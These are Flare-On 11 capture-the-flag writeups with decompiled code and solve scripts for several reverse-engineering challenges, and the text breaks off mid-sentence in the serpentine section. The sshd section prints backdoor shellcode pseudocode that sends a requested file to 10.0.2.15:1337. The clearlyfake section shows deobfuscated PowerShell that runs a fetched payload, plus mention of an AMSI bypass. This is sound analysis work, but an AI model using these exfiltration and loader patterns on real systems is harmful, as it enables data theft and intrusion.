Flare-On 11 Writeups
frog
The provided archive was a PyGame with source included, where I found the following function:
def GenerateFlagText(x, y):
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
return ''.join([chr(ord(c) ^ key) for c in encoded])
This function is called only when the player is at co-ordinates (10, 10), hence this function can be trivially defined and called in a Python REPL with GenerateFlagText(x, y)
to retrieve the flag.
Flag: welcome_to_11@flare-on.com
Checksum
The provided file is an unstripped Golang binary, and decompiling the file in Ghidra (which had better decompilation than Binary Ninja) reveals that the file does many iterations of a “math game” of sorts before prompting for a checksum.
The input is used as a decryption key with XChaCha20-Poly1305 against embedded data. Once decrypted, main.a
(at virtual address 0x4a77a0
) takes the SHA256 digest of the plaintext and asserts equality against static value and encrypts it:
expected_checksum = runtime::runtime.makeslice(&uint8___internal/abi.Type,len,len);
i = 0;
while( true ) {
if (len <= i) {
src.len = len;
src.array = expected_checksum.array;
src.cap = len;
b64_encoded = encoding/base64::encoding/base64.(*Encoding).EncodeToString
(encoding/base64.StdEncoding,src);
if (b64_encoded.len == 0x58) {
uVar1 = runtime::runtime.memequal
(b64_encoded.str,
"cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1UL ByRdBEFdfVtWVA=="
,0x58);
}
else {
uVar1 = 0;
}
return (bool)uVar1;
}
/* mod 11 */
key_offset = i + (i / 0xb + (i >> 0x3f)) * -0xb;
if (10 < key_offset) break;
expected_checksum.array[i] = checksum_str[i] ^ "FlareOn2024"[key_offset];
i = i + 1;
}
The output of this function is then hex-decoded and compared against the user input.
If it matches, the program then writes the decrypted data at %LOCALAPPDATA%\REAL_FLAREON_FLAG.JPG
and exits.
Working backwards, this implies that the Base64 value cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA==
is the expected hex-encoded checksum encrypted with the XOR key FlareOn2024
.
Using CyberChef, results in a valid hex string 64 characters long, or 256 bits long, the size of the SHA256 hash: 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd
I then proceeded to patch the program to skip the long math game, and I inputted the checksum, as it was easier than statically decrypting it with another script, and it dropped the following image:
Flag: Th3_M4tH_Do_b3_m4th1ng@flare-on.com
aray
The provided file was a YARA rule:
import "hash"
rule aray
{
meta:
description = "Matches on b7dc94ca98aa58dabb5404541c812db2"
condition:
filesize == 85 and hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2" and filesize ^ uint8(11) != 107 and uint8(55) & 128 == 0 and ...
Most of the conditions use either a hash
function, uint8
(selecting 1 byte), or uint32
(selecting 4 bytes as a little-endian integer).
To begin, I extracted the individual rules into a file, for which I later wrote a parser and simple simplifier with the following rules:
- simplify
uint32(index) + const0 == const1
, same withuint8
and the-
and^
operators; these can be directly simplified using simple algebra to get the constant values that were expected. - remove
uint8(n) % x < x
as they are redundant - identify the expected values for any
hash
calls using a pre-computed lookup table
import re
import itertools
import string
import zlib
from Crypto.Hash import MD5, SHA256
rules = {}
solved = {}
other = []
def simplify(line):
if not (match := re.match(r"^(uint(?:8|32)\(.+\)) (.+) (\d+) (.?=) (\d+)", line)):
return line
target = match[1]
operator = match[2]
c1 = match[3]
compare = match[4]
c2 = match[5]
value = None
match operator:
case "^":
value = int(c2) ^ int(c1)
case "+":
value = int(c2) - int(c1)
case "-":
value = int(c2) + int(c1)
if value is None:
return line
return f"{target} {compare} {value}"
crc_lookup = {}
md5_lookup = {}
sha_lookup = {}
for s in [
(a + b).encode()
for a, b in itertools.product(string.printable, string.printable)
]:
crc_lookup[zlib.crc32(s) % (1<<32)] = s
md5_lookup[MD5.new(data=s).digest()] = s
sha_lookup[SHA256.new(data=s).digest()] = s
with open("aray.edited.yara") as f:
for line in f:
line = line.strip()
if len(line) == 0:
continue
if (match := re.match(r"^uint(?:8|32)\((.+)\)", line)):
index = int(match[1])
if (match := re.match(r"^uint8\(.+\) % (\d+) < (\d+)", line)) and match[1] == match[2]:
continue
line = simplify(line)
if (match := re.match(r"^uint8\(.+\) == (\d+)", line)):
if index in solved:
raise Exception()
solved[index] = int(match[1])
elif (match := re.match(r"^uint32\(.+\) == (\d+)", line)):
chars = int(match[1]).to_bytes(4, "little")
for i in range(index, index + 4):
if i in solved:
raise Exception()
solved[i] = chars[i - index]
else:
rules.setdefault(index, []).append(line)
elif (match := re.match(r"^hash.crc32\((\d+), 2\) == (0x.+)", line)):
index = int(match[1])
if (plain := crc_lookup.get(int(match[2], 16))) is not None:
for i in range(index, index + 2):
if i in solved:
raise Exception()
solved[i] = plain[i - index]
else:
rules.setdefault(index, []).append(line)
elif (match := re.match(r"^hash.(md5|sha256)\((\d+), 2\) == \"(.+)\"", line)):
hash_type = match[1]
index = int(match[2])
digest = bytes.fromhex(match[3])
if hash_type == "md5":
plain = md5_lookup.get(digest)
else:
plain = sha_lookup.get(digest)
if plain is not None:
for i in range(index, index + 2):
if i in solved:
raise Exception()
solved[i] = plain[i - index]
else:
rules.setdefault(index, []).append(line)
else:
other.append(line)
if all(i in solved for i in range(85)):
print("".join(chr(solved[i]) for i in range(85)))
else:
for k in sorted(set(solved.keys()) | set(rules.keys())):
if k in solved:
print(f"{k}\t{chr(solved[k])}")
else:
for rule in rules[k]:
print(rule)
for rule in other:
print(rule)
$ python solve.py
rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }
filesize == 85
hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2"
Flag: 1RuleADayK33p$Malw4r3Aw4y@flare-on.com
mememaker 3000
The given file was a HTML file with embedded and obfuscated JavaScript, which just implements a random meme generator. I had attempted to use my tool deobf
, but it failed due to an error. This was because the strings that were obfuscated were too large. I then manually analysed the emebedded script, realised it didn’t have anti-debug, self-defense and that it wasn’t wrapped in a closure meaning all variables were accessible from JavaScript console.
Within one of the JavaScript object of template images (const a0e
), there was one key, fish.jpg
, which decoded to a PE file. I began to disassemble the program, but wasted time on it due to it being a red herring with no significance. I then identified function a0k
which was unreferenced, and after some manual deobfuscation I had identified the following conditions before it extracts base64 parts from the meme texts and alert
s it to the user:
document.getElementById('meme-image').alt.split('/').pop() == Object.keys(memeTemplates)[5] // "boy_friend0.jpg"
a0c.indexOf(document.getElementById('caption1').textContent) == 14
a0c.indexOf(document.getElementById('caption2').textContent) == a0c.length - 1
a0c.indexOf(document.getElementById('caption3').textContent) == 22
With this in mind, I quickly wrote script to force-satisfy all of the above conditions and get the intended solution and the easter egg meme:
document.getElementById('meme-template').value='boy_friend0.jpg';
document.getElementById('meme-template').dispatchEvent(new Event('change'))
document.getElementById('caption1').textContent = a0c[14];
document.getElementById('caption2').textContent = a0c[a0c.length - 1];
document.getElementById('caption3').textContent = a0c[22];
a0k();

Flag: wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com
sshd
From the challenge title I immediately assumed it was related to the liblzma
supply chain attack. The challenge provided an archive of a Linux filesystem in ssh_container.tar
.
I immediately investigated the binary at /usr/bin/sshd
and I took an embarassingly long time trying to use BinDiff against it before I realised that it had the same file size as the original sshd
binary from Debian, and only contained two single-byte patches; one to enable coredumping, and one to disable some sandboxing rules.
With the above knowledge, I found a coredump at /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
:
$ gdb usr/sbin/sshd var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
I then used the dpkg
file checksums to spot other outliers:
$ md5sum -c var/lib/dpkg/info/*.md5sums | grep FAILED
lib/x86_64-linux-gnu/liblzma.so.5.4.1: FAILED
md5sum: WARNING: 1 computed checksum did NOT match
usr/sbin/sshd: FAILED
md5sum: WARNING: 1 computed checksum did NOT match
Loading the coredump in gdb, I found that the coredump was a result of SIGSEGV (with $rip == 0x0
), but the caller frame’s return address was within the address space for lib/x86_64-linux-gnu/liblzma.so.5.4.1
.
I took to reverse engineering the library and identified patching against RSA_public_decrypt
from the call stack, similar to the real-life attack.
The hook for RSA_public_decrypt
(at virtual address 0x9820
) mmap
ed executable memory, read encrypted shellcode at virtual address 0x23960
, decrypted it and executed it.
I then statically decrypted and extracted the shellcode to reverse engineer. Due to the hook’s use of push
and immediate pop
s to set syscall registers, I had manually disassemble as Binary Ninja failed to cleanly decompile this code. Below is a pseudocode of corresponding with the payload:
int sockfd = socket(AF_INET, SOCK_STREAM, PROTOCOL_TCP);
connect(sockfd, {.sin_family = AF_INET, .sin_port = 1337, .sin_addr = 0x0A00020F /* 10.0.2.15 */}, sizeof(struct sockaddr_in));
recvfrom(sockfd, &key, 32, 0, NULL, NULL);
recvfrom(sockfd, &nonce, 12, 0, NULL, NULL);
recvfrom(sockfd, &filename_length, 4, 0, NULL, NULL);
recvfrom(sockfd, &filename, filename_length, 0, NULL, NULL);
int fd = open(filename, O_RDONLY, 0);
read(fd, &data, 0x80);
size_t len = strlen(data);
chacha20_init_context(&ctx, key, nonce, 0);
chacha20_xor(&ctx, data, len);
sendto(sockfd, &len, 4, 0, NULL, NULL);
sendto(sockfd, data, len, 0, NULL, NULL);
close(sockfd);
shutdown(sockfd, sockfd);
Further down the stack in the coredump, I had identified a strange string at address 0x7ffcc6600be8
, which was the path for a file that wasn’t found in the provided filesystem dump: /root/certificate_authority_signing_key.txt
. Following the stack layout of local variables in the payload code, I identified that the bytes before it was the key and nonce, while the file path was the exfiltrated file.
I had then used the key and nonce to derive a keystream and bruteforce against the entire coredump file to crib for flare-on
, to no avail. After being stuck here for a while and attempting more decryption, I went over the decrypted shellcode and realised that the ChaCha20 cipher was slightly modified from the original for further confusion; the counter in the state was not incremented and the magic constant was changed by one character, from expand 32 byte k
to expand 32 byte K
31c31
< const uint8_t *magic_constant = (uint8_t*)"expand 32-byte k";
---
> const uint8_t *magic_constant = (uint8_t*)"expand 32-byte K";
86c86
< counter[0]++;
---
> // counter[0]++;
90c90
< counter[1]++;
---
> // counter[1]++;
I compiled the C ChaCha20 implementation including the above patch with a main function that derives and outputs a keystream 0x80 bytes long. I then used that keystream and my XOR crib script found the flag.
The XOR crib solve script is below:
from Crypto.Util.strxor import strxor
keystream = bytes.fromhex("DA8344787353C17F64629966CB03CEE3CEE8143B42931E5619F7ECF0BC94687008E5C843750D35477548A3B2CEED7AAA802B75B0BA7E29B3448E721EB7C28356DA8344787353C17F64629966CB03CEE3CEE8143B42931E5619F7ECF0BC94687008E5C843750D35477548A3B2CEED7AAA802B75B0BA7E29B3448E721EB7C28356")
with open("./root/var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676", "rb") as f:
original = f.read()
for i in range(0x80):
ks = (keystream[-i:]+ keystream[:-i])
ks = (ks * (len(original)//len(ks)))[:len(original)]
out = strxor(original, ks)
if b"flare-on" in out:
index = out.find(b"flare-on")
print(out[index-50:index+50])
A cleaner solve would be to use the offset of the filename
variable ($rbp-0x1248
) in the shellcode with our knowledge of our stack layout; the data
variable that’s subsequently XORed is located at $rbp-0x1148
, or exactly 0x100 after where we found the filename string:
(gdb) dump binary memory encrypted_flag.bin (0x7ffcc6600c18+0x1278-0x1178) (0x7ffcc6600c18+0x1278-0x1178+0x32)
Flag: supp1y_cha1n_sund4y@flare-on.com
bloke2
The provided archive extracted to several Verilog files and instructions on how to execute the testbenches.
Sifting through the Verilog files reveals the following excerpt in data_mgr.v
:
localparam TEST_VAL = 512'h3c9cf0addf2e45ef548b011f736cc99144bdfee0d69df4090c8a39c520e18ec3bdc1277aad1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;
I had a hunch the flag was encoded or encrypted in TEST_VAL
, so I pivoted to its use in the same file:
h <= h_in ^ (TEST_VAL & {(W*16){tst}});
In Verilog, {(W*16){tst}}
evaluates to zero or a W*16
bit mask. In this context, it basically acts as a conditional predicated on the value of tst
, a one-bit register (basically a boolean); either XOR the value h
with nothing (no-op) or with TEST_VAL if and only if tst
is 1
.
I tested a bit further with each testbench, toggling some $display
elaborations before enabling the following on line 78 of data_mgr.v
:
$display("%t dmgr dout h %h t %b", $time, h_in, tst);
I found that tst
was always zero and hence the TEST_VAL was never used as a XOR key.
I patched data_mgr.v
to always perform the operation with the following change:
h <= h_in ^ (TEST_VAL);
I re-ran each testbench, and found that bloke2b_tb.v
had the right ciphertext as one of its hash outputs:
$ iverilog -g2012 -s bloke2s_tb *.v
$ vvp a.out
820000 dmgr dout h 20ecc2ab573de8c8c10325e24d78337b8d70faa8d9b58d8c70c0d0334613f4c1 t 0
Received message: �J�
Q��0]_�rD��� \F٬�?�*���-�
1990000 dmgr dout h 72760e4666c27397f0756c40c493e163aa72b446da0500f9091efb0328fea26e t 0
Received message: .Tba�2I(�xq�
�̣;���ڦ`u��<)��
3160000 dmgr dout h 62b5ce3f60aa773f4fbcac48c55cb8acac7daea262e361cd2402610fa4039d0c t 0
Received message: L#��m,.d�����lb$��P�q��E�t�
$ iverilog -g2012 -s bloke2b_tb *.v
$ vvp a.out
980000 dmgr dout h 3643e6e6054190369109e8ae8bd92ccac59fd49b273ac4ec4e7c59e2f5d73c277de64526d3aa9b32e4d9ac0cf09e33f1b953d6ec3737339526fb41da0981d637 t 0
Received message: wh+C�
�fD�J�Th��1���Pv�ŝ�~\b'��6�'`�B�0��{*"�[�������o�K�
2630000 dmgr dout h d7c0cf2d4de0e6554335e8778d9705cb0e4524b70f1adaa0e2b730ce92bd3a9210fd6752778adc6971e48b5b3e23fba379e1a042c2cc387916160f0f5d71bd18 t 0
Received message: X�mB:V��i�c![/�wK'�ڝ�(@<�Q�\�
=�.��W��JZ���h����?\�
4280000 dmgr dout h 51f39383b141688a26ea6d793315bbfe30de9f8689fa95656ad55fb143beef9cd3a8781ec867769624dba3c97027b39f1688dbd0f419bcb4337328112bcfd230 t 0
Received message: please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com
Alternatively, one can extract bloke2b("abc")
from one of the $display
elaboration in data_mgr.v
, and XOR it with TEST_VAL, leading to the same result, as demonstrated in CyberChef.
Flag: please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com
fullspeed
This challenge provides fullspeed.exe
and capture.pcapng
. The former is a PE file with .managed
and .hydrated
sections, indicating that it was .NET AOT (e.g. natively complied). After trying and failing to manually reverse engineer the binary without symbols, I proceeded to generate a similar .NET AOT binary to create function signatures to apply.
Beforehand, I recognised that the BouncyCastle library was used and from my partial analysis and debugging, I identified the use of EllipticCurve
and suspected that the challenge was based on cracking Elliptic Curve Diffie-Hellman. From strings present in the file, I determined the following:
- .NET version:
8.0.524.21615\\8.0.5+087e15321bb712ef6fe8b0ba6f8bd12facf92629
BouncyCastle.Cryptography
package version: 2.4.0
I had created a signature library by compiling the following test application with the same exact dependencies:
using System;
using System.Net.Sockets;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Agreement;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.Asn1.X9;
Console.WriteLine("Hello, World!");
using Socket socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
socket.Connect("192.168.56.103", 31337);
byte[] sendBytes = new byte[0x30];
byte[] responseBytes = new byte[0x30];
socket.Send(sendBytes);
socket.Receive(responseBytes);
SecureRandom random = new SecureRandom();
CipherKeyGenerator keyGen = new CipherKeyGenerator();
keyGen.Init(new KeyGenerationParameters(random, 256));
KeyParameter keyParam = keyGen.GenerateKeyParameter();
DHParametersGenerator pGen = new DHParametersGenerator();
pGen.Init(512, 10, random);
pGen.GenerateParameters();
DHParameters dhParams = DHStandardGroups.rfc7919_ffdhe3072;
DHKeyGenerationParameters dhKeyGenParams =
new DHKeyGenerationParameters(random, dhParams);
DHKeyPairGenerator dhKeyPairGen = new DHKeyPairGenerator();
dhKeyPairGen.Init(dhKeyGenParams);
AsymmetricCipherKeyPair dhKeyPair = dhKeyPairGen.GenerateKeyPair();
X9ECParameters ecParams = ECNamedCurveTable.GetByName("brainpoolp160r1");
new ECDomainParameters(
ecParams.Curve, ecParams.G, ecParams.N, ecParams.H, ecParams.GetSeed() );
ECDHCBasicAgreement keyAgreement = new ECDHCBasicAgreement();
Using Binary Ninja’s sigkit, I renamed a good chunk of symbols in the binary. With the newly correlated functions, I determined the logic of the binary.
The binary extensively uses XOR-encoded strings to deter static analysis; I had to go back and forth to x64dbg to determine which string a given address stored. My suspicions were correct as I had confirmed ECDH using the following curve:
\[y^2 = x^3 + ax + b \textrm{ over } \mathbb{Z}_q\]# where
q = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
# and
g = (
0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8, 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182
)
After constructing the FpCurve
with BouncyCastle, the 80-bit private key \(d_A\) is then randomly generated using a CSPRNG that cannot be attacked (SecureRandom.CreatePrng(..., true)
). \(x_A\) and \(y_A\) are each XOR’ed with \x13\x37
repeatedly before sending to the server. In turn, the server sends back encoded \(x_A\) and \(y_A\).
After the exchange, a shared Salsa20 key is then derived from the SHA512 digest of the shared \(x_k\) co-ordinate. Keep this in mind; the use Salsa20 was determined by a string found in memory referenced by a symbol attributed as Org.BouncyCastle.Crypto.Engines.Salsa20Engine::AlgorithmName
(virtual address 0x14014a080
).
After the encrypted channel is established with the keystream, both the client and server validates the connection by sending verify\0
and receiving the same. At this point, the server can send commands to the client (which will not be elaborated on).
I suspected that the curve itself was weak as it did not appear to be one of the mainstream standard curves used in the real world. After constructing the same curve in SageMath, I found that while the field was prime, its order was smooth:
sage: E = EllipticCurve(GF(0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd), [0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f, 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380])
sage: E.base().modulus().is_prime()
True
sage: E.order().is_prime()
False
sage:
With this, we can attack using Pohlig-Hellman to factor congruences for the subgroups corresponding to the prime factors. An issue arose with the last prime factor of the order, which was 272-bit and infeasible to perform a discrete-log1. After being stuck here and getting a refresher over number theory, I realised that I can still solve it using a work around that uses the product of the easily factorable subgroups:
Let \(d\) be the unknown co-efficient in \(g * d = Q\) and \(p\) be all prime factors of the curve order and \(p_n\) be the large factor.
Use Pohlig-Hellman using \(p \setminus \{p_n\}\) to determine \(d \equiv d_m (\textrm{mod } q_m)\) where \(q_m = \prod_{i=1}^{n - 1}p_i\); in other words, find \(d_m = d \textrm{ mod } q_m\).
Iterate through all \(d\) candidates \(\{d_c \mid \exists k \in \mathbb{Z}, d_c = (Q_m * k) + d_m\}\) to find \(g * d_c = Q\).
Since the subgroup for the integer field over \(q_m\) is large enough, it only requires a couple hundred thousand iterations at most.
E = EllipticCurve(GF(0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd), [0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f, 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380])
# >>> print(E.trace_of_frobenius())
# 6259259973049303984458607251963156455493393803083893028237
# >>> print(E.order())
# 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
# From FactorDB.com (create time: "Between September 28, 2024, 12:58 pm and September 28, 2024, 12:59 pm" lol)
order_factors = [
35809,
46027,
56369,
57301,
65063,
111659,
113111,
7072010737074051173701300310820071551428959987622994965153676442076542799542912293
]
order_factors = order_factors[:-1]
G = E(0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8, 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182)
order = G.order()
Q_a = E(0x195b46a760ed5a425dadcab37945867056d3e1a50124fffab78651193cea7758d4d590bed4f5f62d4a291270f1dcf499, 0x357731edebf0745d081033a668b58aaa51fa0b4fc02cd64c7e8668a016f0ec1317fcac24d8ec9f3e75167077561e2a15)
Q_b = E(0xb3e5f89f04d49834de312110ae05f0649b3f0bbe2987304fc4ec2f46d6f036f1a897807c4e693e0bb5cd9ac8a8005f06, 0x85944d98396918741316cd0109929cb706af0cca1eaf378219c5286bdc21e979210390573e3047645e1969bdbcb667eb)
# print("d =", target.log(G))
def pohlig_hellman(target):
dlogs = []
for fac in order_factors:
t = int(order) // int(fac)
print(f"{fac}:")
dlog = discrete_log(t*target, t*G, operation="+", bounds=(0, 2**80))
print(dlog)
dlogs.append(dlog)
d = crt(dlogs, order_factors)
return d
def crack_shared_key():
d_a = pohlig_hellman(Q_a)
d_b = pohlig_hellman(Q_b)
sub_mod = prod(order_factors)
i = 0
old_bit_length = 0
K_a = None
K_b = None
while True:
if i % 1000 == 0:
print(i)
dd_a = ((sub_mod * i) + d_a)
dd_b = ((sub_mod * i) + d_b)
q_a = G * dd_a
q_b = G * dd_b
if q_a == Q_a:
print("d_a:", dd_a)
K_a = Q_b * dd_a
K = K_a
break
if q_b == Q_b:
print("d_b:", dd_b)
K_b = Q_a * dd_b
K = K_b
break
# if K_a and K_b:
# break
if dd_a.bit_length() > 0x80 and dd_b.bit_length() > 0x80:
break
new_bit_length = max(dd_a.bit_length(), dd_b.bit_length())
if old_bit_length < new_bit_length:
print(f"{dd_a.bit_length()=:x} {dd_b.bit_length()=:x}")
old_bit_length = new_bit_length
i += 1
# d_a: 168606034648973740214207039875253762473
# d_b: 153712271226962757897869155910488792420
# assert K_a == K_b
return K
K = crack_shared_key()
# K = E(9285933189458587360370996409965684516994278319709076885861327850062567211786910941012004843231232528920376385508032, 380692327439186423832217831462830789200626503899948375582964334293932372864029888872966411054442434800585116270210)
preimage = K.x().to_bytes()
print(f"{preimage=}")
import hashlib
key = hashlib.sha512(preimage).digest()
from Crypto.Cipher import Salsa20
verify_ct = bytes.fromhex("f272d54c31860f")
verify_pt = b"verify\0"
cipher = Salsa20.new(key[:0x20], key[0x20:0x28])
pt = cipher.decrypt(verify_ct)
print(pt)
After cracking the private key \(d_A\) and validating it against public keys extracted and decoded from the packet capture, I used the shared secret with Salsa20 and… it didn’t work. The verify
check had failed and I was left scratching my head. I just eventually tried ChaCha20 since it’s derived from Salsa20 and was used previously in sshd
. It then finally worked. 🤦
The following is the C2 traffic (flow markers denoted by me)
>>>
verify
<<<
verify
>>>
ls
<<<
=== dirs ===
secrets
=== files ===
fullspeed.exe
>>>
cd|secrets
<<<
ok
>>>
ls
<<<
=== dirs ===
super secrets
=== files ===
>>>
cd|super secrets
<<<
ok
>>>
ls
<<<
=== dirs ===
.hidden
=== files ===
>>>
cd|.hidden
<<<
ok
>>>
ls
<<<
=== dirs ===
wait, dot folders aren't hidden on windows
=== files ===
>>>
cd|wait, dot folders aren't hidden on windows
<<<
ok
>>>
ls
<<<
=== dirs ===
=== files ===
flag.txt
>>>
cat|flag.txt
<<<
RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==
>>>
exit
Flag: D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com
clearlyfake
The provided JavaScript file clearlyfake.js
was deobfuscated into the following:
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
This appears to call a smart contract on the BSC test-net, 0x9223f0630c598a200f99c5d4746531d10319a569
.
Using the Dedaub decompiler, yields some oddly constructed (possibly obfuscated?) code, which checks if the input matches giv3_M3_p4yL04d!
, before returning the new targetAddress
pointing to the smart contract 0x5324eab94b236d4d1456edc574363b113cebf09d
.
Decompiling the secondary smart contract address didn’t yield much, so I pivoted on the transaction history using BscScan. Using the block number in the provided JavaScript lead to an interesting transaction with large input data. I constructed a CyberChef recipe and used it against the input data which yielded some obfuscated PowerShell. However, once deobfuscated, it appeared irrelevant and did not contain any presence of a flag:
#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
...
As it turns out, this was an issue identified by other players, and it was fixed later by the organisers, but the block number included in the provided file was not updated to reflect this.
Continuing on BscScan, I pivoted on other incoming transactions to the secondary smart contract, where I identified the most recent one which also had large input data. Once extracted with the CyberChef recipe, this was more PowerShell again, and this time with several layers of obfuscation.
Once deobfuscated, we get the following:
Set-Variable -Name testnet_endpoint -Value (" ")Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object { Set-Variable -Name startIndex -Value ($_ * 2) Set-Variable -Name endIndex -Value ($startIndex + 1) [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)}) Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object { '{0:X2}' -f $_
# Format each byte as two-digit hex with uppercase letters})
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
Write-Output $hexStringSet-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object { Set-Variable -Name startIndex -Value ($_ * 2) Set-Variable -Name endIndex -Value ($startIndex + 1) [Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)})Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
# Convert the key to bytes
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform the XOR operation
Set-Variable -Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) { Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length])) }
# Convert the result back to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")Invoke-Expression $command
The above script makes a call from a test endpoint to a smart contract address, then extracts and decodes the returned Base64 string before further decoding it as a hex string. The raw bytes are then XORed using the key FLAREON24
and is written to C:\flag
I then iterated over the rest of the transaction history and found this transaction containing input data which decoded to hex:
08 7c 35 0d 76 39 7d 5c 6b 02 1c 13 19 1a 26 7b 6d 60 2e 7d 74 0d 74 7c 7d 05 6b 77 22 1e 05 20 2d 7d 72 52 2a 2d 33 37 68 20 20 1c 57 29 21
XORing with FLAREON24
as done in the PowerShell script using another CyberChef recipe, which presented the flag.
Flag: N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
serpentine
I disassembled the provided Windows binary serpentine.exe
using Binary Ninja. Within a TLS callback at virtual address 0x1400014f0
, the binary had allocated for and mapped a large code payload (from virtual address 0x140097af0
) into executable memory. After, some pre-C++ initialisation functions are called to:
- Set stack limits
- Find the base physical address for
ntdll.dll
using the PEB’sLdr
state - Dynamically resolve
